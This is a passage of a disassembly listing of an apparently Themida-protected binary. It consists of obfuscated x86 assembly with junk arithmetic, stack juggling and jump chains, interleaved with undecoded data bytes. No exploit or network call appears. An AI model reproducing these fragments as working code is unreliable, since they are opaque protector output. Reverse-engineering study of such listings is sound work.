		db 0FFh
; ---------------------------------------------------------------------------


loc_5585CD:				; CODE XREF: Themida_:0055F1A9j
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559438
; ---------------------------------------------------------------------------


loc_5585DA:				; CODE XREF: Themida_:0055BA10j
		sub	edx, 5A883AEBh
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_551C98
; ---------------------------------------------------------------------------
		dd 0FF896EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5585F1:				; CODE XREF: Themida_:0055CAD8j
		pop	dword ptr [edx+38h]
		jmp	loc_56277D
; ---------------------------------------------------------------------------
		db 68h,	4Ch, 63h
		dd 0C890000h, 0B6E95424h, 830000B4h, 8DE904C4h,	33FFFFB4h
		dd 665C243Ch, 9DE9F1F7h, 830000D3h, 248904ECh, 4BB5324h
		dd 1000000h, 5B04245Ch,	8124048Fh, 42404h, 55580000h, 0FFB225E9h
		dd 1EC280FFh, 59C28059h, 43E9D788h
		db 17h,	2 dup(0)
byte_55864B	db 66h			; DATA XREF: Themida_:00550DC0o
		dd 0E9240C8Bh, 0FFFFBC90h, 4AABB951h, 0C801E590h, 98C78159h
		dd 135E306h, 8F36E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55866A:				; CODE XREF: Themida_:00552AB8j
		mov	[esp], esi
		push	edx
		push	11BB502Dh
		pop	edx
		sub	edx, 39772071h
		shl	edx, 1
		not	edx
		push	ebp
		mov	ebp, 0B0885F7Dh
		add	edx, ebp
		pop	ebp
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 335464D5h
		sub	edi, 4DD5300Dh
		add	edi, esi
		add	edi, 4DD5300Dh
		jmp	loc_55FEFC
; ---------------------------------------------------------------------------
byte_5586AB	db 66h			; DATA XREF: Themida_:00550ED4o
		dd 6824048Bh, 945h, 89241C89h, 0C0E8E9E3h, 895C0000h, 2BE2434h
		dd 5000000h, 3BE11882h,	5155F001h, 0E11882B9h, 0D235E93Bh
		dd 7EB90000h, 0E930B20Dh, 825h
; ---------------------------------------------------------------------------


loc_5586E4:				; CODE XREF: Themida_:00563132j
		push	ecx
		jmp	loc_5596F1
; ---------------------------------------------------------------------------
word_5586EA	dw 0FF64h		; DATA XREF: Themida_:00550F00o
		dd 0F96DE932h, 4B5BFFFFh, 0E94BD3F7h, 74EBh, 4C4815Fh
		dd 0E9000000h, 0FFFF8857h
; ---------------------------------------------------------------------------


loc_558708:				; CODE XREF: Themida_:00551783j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5606E7
; ---------------------------------------------------------------------------


loc_558716:				; CODE XREF: Themida_:0056581Ej
		mov	ebx, 2A54AB3Ch
		jmp	loc_56023A
; ---------------------------------------------------------------------------


loc_558720:				; CODE XREF: Themida_:00563C9Aj
		mov	ebp, 24653440h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, 807A1FA2h
		jmp	loc_561712
; ---------------------------------------------------------------------------
		db 55h
		dd 5D2414F7h, 49B768h, 241C8900h, 0EC1E63BBh, 0A1F38137h
		dd 5193CCCDh, 92D5E9h, 80E95D00h, 5300006Fh, 900EC3BBh
		dd 82F38100h, 81161739h, 5F31CDC3h, 59E94B25h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558777:				; CODE XREF: Themida_:005536E9j
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_563CE5
; ---------------------------------------------------------------------------
		dd 390868h, 24048900h, 0B5A8E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558796:				; CODE XREF: Themida_:005638FEj
		push	esi
		pop	ebx
		mov	edx, ebx
		pop	ebx
		pop	esi
		jmp	loc_556ED0
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 6824248Bh, 6EAh, 5C6EE9h, 0E9F52900h, 0FFFFB38Bh
dword_5587B8	dd 24048B66h, 815A5452h, 4ECh, 24348900h, 4BEh,	0C1B95100h
					; DATA XREF: Themida_:00550DC8o
		dd 0E97EEA45h, 36A9h, 4055Fh, 4870000h,	24248B24h, 5C0D68h
		dd 24348900h, 6B3E9h, 4C58100h,	83000000h, 2C8704C5h, 0D8015C24h
		dd 0FFE02DE9h, 80E4D0FFh, 4BE9DFF4h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55880F:				; CODE XREF: Themida_:00555B54j
		sub	eax, ebp
		push	ebx
		mov	ebx, 1FB54E22h
		or	ebx, 9B03C83h
		add	ebx, 7B3E645Eh
		jmp	loc_55EC9A
; ---------------------------------------------------------------------------
		dd 0F7E909B4h, 50000048h, 0D2F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_558835:				; CODE XREF: Themida_:00560AF0j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_55FD68
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 62F368h, 242C8900h, 342E5FBDh, 5EED815Ah,	215A342Eh
		dd 242C8BE8h, 0FFB4A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558865:				; CODE XREF: Themida_:005548D6j
		mov	edx, 221F0EFCh
		neg	edx
		and	edx, 714E6561h
		add	edx, 1A5E1190h
		jmp	loc_558BC2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd offset dword_4D4154+614h
		dd 5D38E900h, 815E0000h, 0BC4322EBh, 30F38119h,	0E9D94DFFh
		dd 0A42Ch, 4B8h, 4BCCE900h, 0F1880000h,	0E92434FFh, 3493h
; ---------------------------------------------------------------------------


loc_5588B0:				; CODE XREF: Themida_:00558B6Fj
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5568CD
; ---------------------------------------------------------------------------
		dw 6568h
		dd 8900006Ah, 0E189240Ch, 4BE56h, 6AE90000h, 81FFFFD7h
		dd 4ECh, 241C8900h, 52E18951h, 0DB68DFBAh, 25C28179h, 0E9862497h
		dd 0AE57h, 0F389535Ah, 5E5BDD89h, 0FFDEDBE9h, 42D2F7FFh
		dd 2BF1E281h, 65685512h, 8900004Dh, 0EFBF243Ch,	810BEE30h
		dd 23F9F5C7h, 5FFA31F8h, 0C0ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_558921:				; CODE XREF: Themida_:00562573j
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55EB9A
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FFFF57E9h, 42A2B9FFh, 0F181304Fh, 79FF605Eh, 0C8BCE01h
		dd 0D848E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55895A:				; CODE XREF: Themida_:00560E18j
		sub	edx, 2B6E78D5h
		pop	edi
		xor	edx, 72B248FCh
		push	ecx
		push	edx
		jmp	loc_5549C5
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0D2B9D8EBh, 0FFD929BCh
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556660
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 0E904C583h, 79AFh, 5B5668h, 9FD3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5589AA:				; CODE XREF: Themida_:00553DF7j
		not	ebp
		jmp	loc_55B202
; ---------------------------------------------------------------------------


loc_5589B1:				; CODE XREF: Themida_:00551650j
		pop	edi
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		not	esi
		xchg	esi, ebx
		xor	ebx, 54E65533h
		push	edx
		mov	edx, 26020DD7h
		jmp	loc_55677E
; ---------------------------------------------------------------------------
		db 81h
		dd 1027BCEEh, 0E9F1016Fh, 8FC5h, 7E5B68h, 24348900h, 68241C8Bh
		dd 6506h, 89243489h, 4C681E6h, 53000000h, 4BBh,	0FEE8100h
		dd 13BA80Bh, 0FC681DEh,	5B3BA80Bh, 5C243487h, 8B245F89h
		dd 0C483241Ch, 24348B04h, 60F9E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A1E:				; CODE XREF: Themida_:00554AD6j
		mov	ebp, 26CC6B8Bh
		xor	ebp, edx
		jmp	loc_55A1BC
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 5F545C40h, 215AD189h, 391DE9CFh, 0CE810000h,	49071856h
		dd 1159F681h, 0FFE92FECh, 0B80000A8h, 27A67705h, 48BC629h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_564786
; ---------------------------------------------------------------------------


loc_558A5D:				; CODE XREF: Themida_:005623ECj
		push	8F1h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_555B49
; ---------------------------------------------------------------------------


loc_558A75:				; CODE XREF: Themida_:00564C97j
		pop	edi
		jmp	loc_563550
; ---------------------------------------------------------------------------


loc_558A7B:				; CODE XREF: Themida_:0055A0E8j
		sub	ecx, 7FB1779Ah
		jmp	loc_55B243
; ---------------------------------------------------------------------------
		dw 0D4E9h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558A8B:				; CODE XREF: Themida_:0056124Aj
		pop	ebx
		jmp	loc_560EF9
; ---------------------------------------------------------------------------


loc_558A91:				; CODE XREF: Themida_:00561F4Aj
		add	edx, eax
		jmp	loc_563F2B
; ---------------------------------------------------------------------------
aCsor		db 'CИ╝r',0
		align 2
		dw 0CCFEh
		dd 7C1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558AA5:				; CODE XREF: Themida_:00552416j
		mov	esi, 160E5A0Dh
		shr	esi, 6
		add	esi, 3B914E26h
		jmp	loc_5522D5
; ---------------------------------------------------------------------------


loc_558AB8:				; CODE XREF: Themida_:0055A40Ej
		pop	ebp
		and	ecx, 3F0721BDh
		not	ecx
		not	ecx
		neg	ecx
		shl	ecx, 7
		jmp	loc_559ADA
; ---------------------------------------------------------------------------


loc_558ACD:				; CODE XREF: Themida_:0055D876j
		add	ebp, 4
		push	eax
		push	ebp
		jmp	loc_55CD8E
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 0E92434FFh, 12FBh, 6607CB80h, 3018B151h, 0C8B66CBh
		dd 2C48324h, 205BDC30h,	24048BE5h, 8004C483h, 0CDFEEFE5h
		dd 4EC81h, 14890000h, 0F6EE8824h, 0F78853D6h, 14DAE9h
		dd 24348900h, 0B8C8E954h, 0F7510000h, 26E92414h, 890000CBh
		dd 0BF57240Ch, 18FC5610h, 7A49CF81h, 0ACE96C0Ch, 0BA00002Eh
		dd 88D08C46h, 0A5E9D629h, 66FFFFFDh, 666F6F68h,	81241C89h
		dd 4ECh, 24148900h, 28F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_558B61:				; CODE XREF: Themida_:00559CBAj
		push	ebx
		mov	ebx, 3FF23B35h
		sub	ebp, ebx
		pop	ebx
		mov	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_5588B0
; ---------------------------------------------------------------------------
		dd 468h, 0EA815E00h, 5C897345h,	0C281F201h, 5C897345h
		dd 5696E9h, 0CB895D00h,	0FF9274E9h, 2434FFFFh, 1BE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_558B9D:				; CODE XREF: Themida_:00561197j
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		dd 5804C483h, 5007E1C0h, 0EC80DFB4h, 58E12845h,	3059CF88h
		dd 0F36BE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558BC2:				; CODE XREF: Themida_:00558878j
		shl	edx, 4
		jmp	loc_551AF5
; ---------------------------------------------------------------------------


loc_558BCA:				; CODE XREF: Themida_:00558DF2j
		sub	edx, 1
		jmp	loc_554F6B
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0E9502414h, 0FFFF8A97h, 1E33CCBBh, 5BDF2903h, 1222C781h
		dd 0EF8174AFh, 37E541E9h, 0C781F701h, 37E541E9h, 0BB4AE9h
		dd 0E9CA2900h, 0FFFFA6DFh
; ---------------------------------------------------------------------------


loc_558C04:				; CODE XREF: Themida_:0055F05Fj
		shr	ebx, 5
		add	ebx, 41638AA8h
		mov	ecx, ebx
		pop	ebx
		add	ecx, 375C5273h
		push	edx
		mov	edx, 7678541Eh
		shl	edx, 7
		sub	edx, 3E4B1D75h
		jmp	loc_5605D9
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0A2DDE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C32:				; CODE XREF: Themida_:00557601j
		or	eax, eax
		jmp	loc_562295
; ---------------------------------------------------------------------------
		db 28h,	0C8h, 59h
		dd 348B5456h, 4C48324h,	4C681h,	0EE830000h, 24348704h
		dd 0FFB073E9h, 4C681FFh, 83000000h, 348704C6h, 24248B24h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC832414h
		dd 24048904h, 96E9D8B4h, 0BF0000A3h, 4EEF4A8Bh,	0D7EF8147h
		dd 0E9271A65h, 3949h, 8DCB951h,	54E91699h, 0F7000070h
		dd 0F7DEF7D6h, 0F7DEF7DEh, 0CEBD55D6h, 0C14F363Eh, 0D5F704E5h
		dd 9DCD8145h, 0E962871Ch, 211Eh
; ---------------------------------------------------------------------------


loc_558CC4:				; CODE XREF: Themida_:00556481j
		or	ecx, 5E2F7F62h
		jmp	loc_5549D5
; ---------------------------------------------------------------------------
		db 81h
		dd 0F10A00EAh, 2EAC135h, 950CE951h, 0AEB9FFFFh,	0E90F8E6Ch
		dd 4777h, 83241C8Bh, 0C78304C4h, 243C8702h, 6624248Bh
		dd 5624048Bh, 24348B54h, 0F5B7E952h, 0E95CFFFFh, 0FFFF8776h
		dd 0A6B75352h, 0FFF61DE9h, 2434FFFFh, 4C4835Bh,	4C481h
		dd 53660000h, 0FFA23BE9h, 0AEE95CFFh, 80000087h, 0EB80DEEBh
		dd 0F6D38600h, 885166D2h, 88DA88D5h, 0B1DEE9EBh, 1B2CFFFFh
		dd 0D8285B66h, 152C332Ch, 351468h, 24148900h, 1E9E289h
		dd 5F0000ABh, 8102EDC1h, 80003C5h, 5DEA01C4h, 8B241487h
		dd 83562424h, 8F5404ECh, 4812404h, 424h, 0DD70E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D86:				; CODE XREF: Themida_:005650FAj
		push	61CFh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55A839
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 0EB835AD3h, 241C8704h, 2434895Ch, 5404EC83h
		dd 5724048Fh, 4BFh, 247C0100h, 348B5F04h, 193BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558DCE:				; CODE XREF: Themida_:0055A330j
		xchg	esi, [esp]
		pop	esp
		pop	eax
		jmp	loc_55564E
; ---------------------------------------------------------------------------
		dd 0E581DDF7h, 53D22BE2h, 0FFAC45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558DE5:				; CODE XREF: Themida_:0055B7E0j
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_558BCA
; ---------------------------------------------------------------------------


loc_558DF7:				; CODE XREF: Themida_:0055FA11j
		shr	eax, 4
		jmp	loc_5620B6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4245C29h, 7D87E9h
		db 0
; ---------------------------------------------------------------------------


loc_558E09:				; CODE XREF: Themida_:0055B22Ej
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 7D5349AEh
		jmp	loc_565BAF
; ---------------------------------------------------------------------------


loc_558E3A:				; CODE XREF: Themida_:005659B3j
		add	ebp, edx
		pop	edx
		jmp	loc_552B56
; ---------------------------------------------------------------------------


loc_558E42:				; CODE XREF: Themida_:00562A50j
		xor	ecx, 21B95507h
		inc	ecx
		jmp	loc_555713
; ---------------------------------------------------------------------------


loc_558E4E:				; CODE XREF: Themida_:005614CFj
		push	ebx
		jmp	loc_557ADE
; ---------------------------------------------------------------------------
		dd 2416BF57h, 0CF813199h, 57713492h, 0FFAFF6E9h, 6506B9FFh
		dd 4481007Dh, 58C70424h, 4C0158A8h, 6C810424h, 58C70424h
		dd 5A5958A8h, 6506BB53h, 0C281007Dh, 0D030DCBh,	0EA81DA29h
		dd 0D030DCBh, 2434FF5Bh, 4C4815Fh, 0E9000000h, 0FFFFFA59h
		dd 2BEh, 8BF50100h, 0DCE92434h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558EB3:				; CODE XREF: Themida_:0055F792j
		and	ecx, ebp
		jmp	loc_55BCD3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24348B24h, 4C481h, 0C4810000h, 4, 68E68956h,	2FB8h
		dd 0B9240C89h, 4, 47D7EE81h, 0CE017FC5h, 47D7C681h, 0E9597FC5h
		dd 0FFFFA5A3h, 1965BF57h, 0C7BE693Dh, 31769031h, 71E95FFEh
		dd 5F000016h, 453E9h, 2E9C100h,	42D5BF57h, 0E78103FAh
		dd 12B45E42h, 661EF781h, 0E6E9245Ch, 30FFFF83h,	2434FFD8h
		dd 4D95E95Bh, 50580000h, 8852FC88h, 5AD188E2h, 0EC815B58h
		dd 4, 0E9240C89h, 7883h, 5585450h, 4, 766EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558F55:				; CODE XREF: Themida_:0055422Cj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_565608
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0FE269C72h, 815BDE29h, 925020E6h, 23C68136h,	810EE645h
		dd 976AC1C6h, 5EF001F0h, 42Dh, 24048700h, 2404895Ch, 0FFB25FE9h
		dd 4C483FFh, 0C474E9h
		db 0
; ---------------------------------------------------------------------------


loc_558F9D:				; CODE XREF: Themida_:00561CC0j
		shr	edx, 4
		add	edx, 1BED0040h
		jmp	loc_552C84
; ---------------------------------------------------------------------------
		db 54h
		dd 0E924048Bh, 9B65h, 3941E947h, 0C2810000h, 4,	8904EC83h
		dd 4682434h, 5E000000h,	348BF201h, 99E95524h, 500005Bh
		dd 1A7609Eh, 0AC6DE9h, 1F642D00h, 10052350h, 0E926963Ch
		dd 8B5Ah, 4BA52h, 0D3290000h, 241C875Ah, 241C895Ch, 33241C31h
		dd 0D8E9241Ch, 59FFFFDAh, 55C2015Dh, 4523D5BDh,	0F7F58741h
		dd 5D5655DEh, 56D5F75Eh, 8EBFE9h, 24248B00h, 24043166h
		dd 9CF1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559032:				; CODE XREF: Themida_:005595F1j
		inc	edx
		jmp	loc_55F9F1
; ---------------------------------------------------------------------------
		dd 0EE63D02Dh, 5F80131h, 31EE63D0h, 0E904EC83h,	7831h
dword_55904C	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF7F03h, 0F07EF8BBh
					; DATA XREF: Themida_:00550DD4o
		dd 8ADEBA50h, 0DA01C6FFh, 4EAC15Bh, 263EE9h
		db 0
; ---------------------------------------------------------------------------


loc_559071:				; CODE XREF: Themida_:0055BED6j
		push	edi
		mov	edi, 7B3471A8h
		jmp	loc_55C14C
; ---------------------------------------------------------------------------
		dd 4240483h, 5A2434FFh,	4C481h,	55680000h, 0E9000058h
		dd 0FFFFF8A9h, 85C8E95Eh, 0B8500000h, 88E4043h,	0A308A725h
		dd 0FFFF2D47h, 0F740FFFFh, 0B0548D8h, 31449D68h, 0CF8958C1h
		dd 0FF8558E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5590BD:				; CODE XREF: Themida_:00560A1Ej
		push	edi
		jmp	loc_5622D8
; ---------------------------------------------------------------------------


loc_5590C3:				; CODE XREF: Themida_:00562E93j
		sub	[esp+4], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55ED57
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 8B243487h, 0EC812424h, 2, 94C2E9h, 4C48100h,	57000000h
		dd 76D9BA52h, 8B523EA6h, 0C481243Ch, 4,	8124148Bh, 4C4h
		dd 524F4700h, 0E83AB3BAh, 5AD729D6h, 0BC35E957h, 0D101FFFFh
		dd 0AEC9815Ah, 4173A614h, 22DB6849h, 0D5E90000h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559143:				; CODE XREF: Themida_:005515C2j
		mov	[esp], esp
		jmp	loc_55BFB3
; ---------------------------------------------------------------------------
		db 83h
		dd 0B85004C4h, 4, 0FFA3A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559159:				; CODE XREF: Themida_:00555662j
		push	edx
		jmp	loc_557FAC
; ---------------------------------------------------------------------------


loc_55915F:				; CODE XREF: Themida_:0055C4B5j
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_561E13
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404A3h, 0FF7DE6E9h, 0EA8166FFh, 29663DE0h, 0C28166F2h
		dd 0BE93DE0h, 8100005Dh, 4C3h, 4EB8300h, 5C241C87h, 0FFEFF2E9h
		dd 0E9D6F7FFh, 0FFFFDBD2h
; ---------------------------------------------------------------------------


loc_5591A4:				; CODE XREF: Themida_:005524D8j
		xchg	esi, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		jmp	loc_556626
; ---------------------------------------------------------------------------
		dd 0CCB60F66h, 1CD26866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF7D8Bh, 0B6E95659h, 0BF0000C2h, 24B5341Dh, 0C108EFC1h
		dd 0DFF707EFh, 88A5C781h, 0F901722Ah, 9CBE565Fh, 31C0F2B3h
		dd 0EE66E9F1h, 8F66FFFFh, 6FE98704h, 5D000006h,	1A2CE9h
		dd 7D4DE900h, 48E9FFFFh, 51FFFF7Dh, 0FFA26EE9h,	0F6EB81FFh
		dd 89FFF37Dh, 241C8BDDh, 4C481h, 0E9810000h, 0C664AABh
		dd 0BE56E901h, 0C664AABh, 5D5EF101h, 303368h, 24348900h
		dd 0FFEBE7E9h, 0E95166FFh, 0C076h, 0F14C7BEh, 5AF6812Eh
		dd 57332735h, 4F37DDBFh, 0E9FE0907h, 4B69h
dword_55926C	dd 2B60F66h, 6A356866h,	24048966h, 0FF7CE2E9h, 241C8BFFh
					; DATA XREF: Themida_:00550D0Co
		dd 3004C483h, 148B66D0h, 2E95024h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55928F:				; CODE XREF: Themida_:0055EE4Dj
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_555513
; ---------------------------------------------------------------------------


loc_559299:				; CODE XREF: Themida_:00551EE4j
		mov	[esp], edx
		push	eax
		mov	eax, 4DD6963h
		push	esi
		jmp	loc_555D73
; ---------------------------------------------------------------------------


loc_5592A8:				; CODE XREF: Themida_:00561FF3j
		mov	edx, 7A9D5ACCh
		xor	edx, esi
		pop	esi
		xor	edx, 6A83194Fh
		push	ebp
		mov	ebp, 68235316h
		xor	ebp, 4485348h
		shr	ebp, 5
		push	edi
		mov	edi, 7D184EC9h
		xor	edi, 0F9D91CFDh
		add	ebp, 3CE60E36h
		sub	ebp, edi
		sub	ebp, 3CE60E36h
		pop	edi
		and	edx, ebp
		pop	ebp
		sub	edx, 1
		add	edx, 30892FDEh
		push	edi
		jmp	loc_55A83F
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0D8310000h, 0FFA652E9h, 3E955FFh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55930B:				; CODE XREF: Themida_:0055159Bj
		xor	ebp, [esp]
		pop	esp
		pop	eax
		push	ecx
		push	eax
		push	edi
		mov	edi, 5C2F1AA2h
		shl	edi, 1
		add	edi, 1
		jmp	loc_5513BB
; ---------------------------------------------------------------------------


loc_559325:				; CODE XREF: Themida_:0055E5CDj
		pop	ebp
		push	2F83h
		mov	[esp], ecx
		jmp	loc_55657E
; ---------------------------------------------------------------------------


loc_559333:				; CODE XREF: Themida_:0055C67Aj
		add	ebp, 0FBF6F852h
		jmp	loc_55CC3E
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2, 335FFA01h, 14312414h, 24143324h, 824248Bh, 0E99C2404h
		dd 0FFFF7C03h, 4C381h, 0FF530000h, 5B042474h, 8B24048Fh
		dd 34FF2424h, 24048B24h, 462E68h, 240C8900h, 553268h, 3F37E900h
		dd 0C3810000h, 4, 2474FF53h, 6CCE904h, 0C5810000h, 61C55E1Bh
		dd 0ED81FD01h, 61C55E1Bh, 7B3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5593A9:				; CODE XREF: Themida_:0055AFB1j
		add	ebx, eax
		jmp	loc_562EC8
; ---------------------------------------------------------------------------


loc_5593B0:				; CODE XREF: Themida_:00561B9Cj
		sub	ch, 5Dh
		jmp	loc_554CAE
; ---------------------------------------------------------------------------


loc_5593B8:				; CODE XREF: Themida_:005527C0j
		push	ebx
		mov	bl, ch
		push	ecx
		mov	ch, bl
		mov	dl, ch
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55AFDB
; ---------------------------------------------------------------------------
aS_9		db ']Ии',1Bh,0
		dd 2404D200h, 7B81E99Ch, 875BFFFFh, 248B240Ch, 6AEF6824h
		dd 0C890000h, 0C8B5424h, 0C763E924h
		db 2 dup(0FFh)
word_5593F6	dw 8B66h		; DATA XREF: Themida_:00550CA4o
		dd 0EC81240Ch, 4, 83241C89h, 248904ECh,	24048324h, 0C3815B04h
		dd 4, 379D68h, 24048900h, 268h,	0EB815800h, 586B028Ah
		dd 0EC81C301h, 4, 0E9243C89h, 6BDAh
; ---------------------------------------------------------------------------


loc_559438:				; CODE XREF: Themida_:005585D5j
		mov	ecx, [ebx]
		mov	ebx, [esp]
		jmp	loc_561443
; ---------------------------------------------------------------------------


loc_559442:				; CODE XREF: Themida_:00563870j
		push	edi
		push	34B31528h
		mov	edi, [esp]
		push	edx
		jmp	loc_55C25B
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0D2h
		dd 0EA81D2F7h, 31540D77h, 295AD029h, 328805E8h,	242D0D29h
		dd 2D78C618h, 40B634D3h, 5D2434FFh, 4C481h, 68520000h
		dd 285Bh, 52243C89h, 9C044768h,	0E2815A7Eh, 13F37221h
		dd 4CE6CA81h, 0DFE92C3Fh, 54FFFFD1h, 117F685Bh,	2C890000h
		dd 79BF5724h, 684C052Fh, 1730h,	0B9240C89h, 449368E2h
		dd 0F759CF31h, 0BB5351D7h, 41C2479Ah, 505BD989h, 47E95155h
		dd 0E9FFFFB1h, 0FFFF7A8Bh
; ---------------------------------------------------------------------------


loc_5594D4:				; CODE XREF: Themida_:00554538j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_5594E5:				; CODE XREF: Themida_:0055D02Fj
		push	ebx
		jmp	loc_5541CB
; ---------------------------------------------------------------------------


loc_5594EB:				; CODE XREF: Themida_:0055345Aj
		xor	ecx, 1B795B4Eh
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	0
		sub	[esp], edi
		pop	edi
		and	edi, 667058DDh
		push	esi
		mov	esi, 147303A6h
		push	edx
		jmp	loc_55A0B1
; ---------------------------------------------------------------------------


loc_559514:				; CODE XREF: Themida_:0055653Fj
		sub	edx, 58CB6E85h
		add	edx, ebx
		add	edx, 58CB6E85h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		mov	eax, 1DA31199h
		sub	eax, 0FFFFFFFFh
		or	eax, 3BB6522Dh
		shl	eax, 6
		sub	eax, 4B7A4C5Eh
		add	eax, 5DA55CA2h
		add	edx, 0FA4584Fh
		jmp	loc_55D241
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 48F0000h, 0F665C24h,	5AE9C8BEh, 81000095h, 4C1h
		dd 7EE95600h, 81000035h, 4C6h, 0C205E900h, 0FD890000h
		dd 6EDC15Fh, 0BA52D5F7h, 77C67354h, 5342D2F7h, 396A06BBh
		dd 5BDA3160h, 6A68F281h, 1AE90EB7h, 89FFFFBCh, 4BA2414h
		dd 0E9000000h, 4E5Ch, 25C5055Bh, 0A3E97E54h
		db 4Ah,	2 dup(0)
byte_5595BB	db 66h			; DATA XREF: Themida_:00550E2Co
		dd 0E9240C8Bh, 4A31h, 68DAF105h, 0C2FFE938h
		db 2 dup(0FFh)
word_5595CE	dw 34FFh		; DATA XREF: Themida_:00550CCCo
		dd 24048B24h, 0CF1E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5595DA:				; CODE XREF: Themida_:00561A9Ej
		pop	ebp
		push	eax
		push	edx
		mov	edx, 6A0B3FA4h
		sub	edx, 231C1ACDh
		and	edx, 77F966AFh
		shl	edx, 8
		jmp	loc_559032
; ---------------------------------------------------------------------------
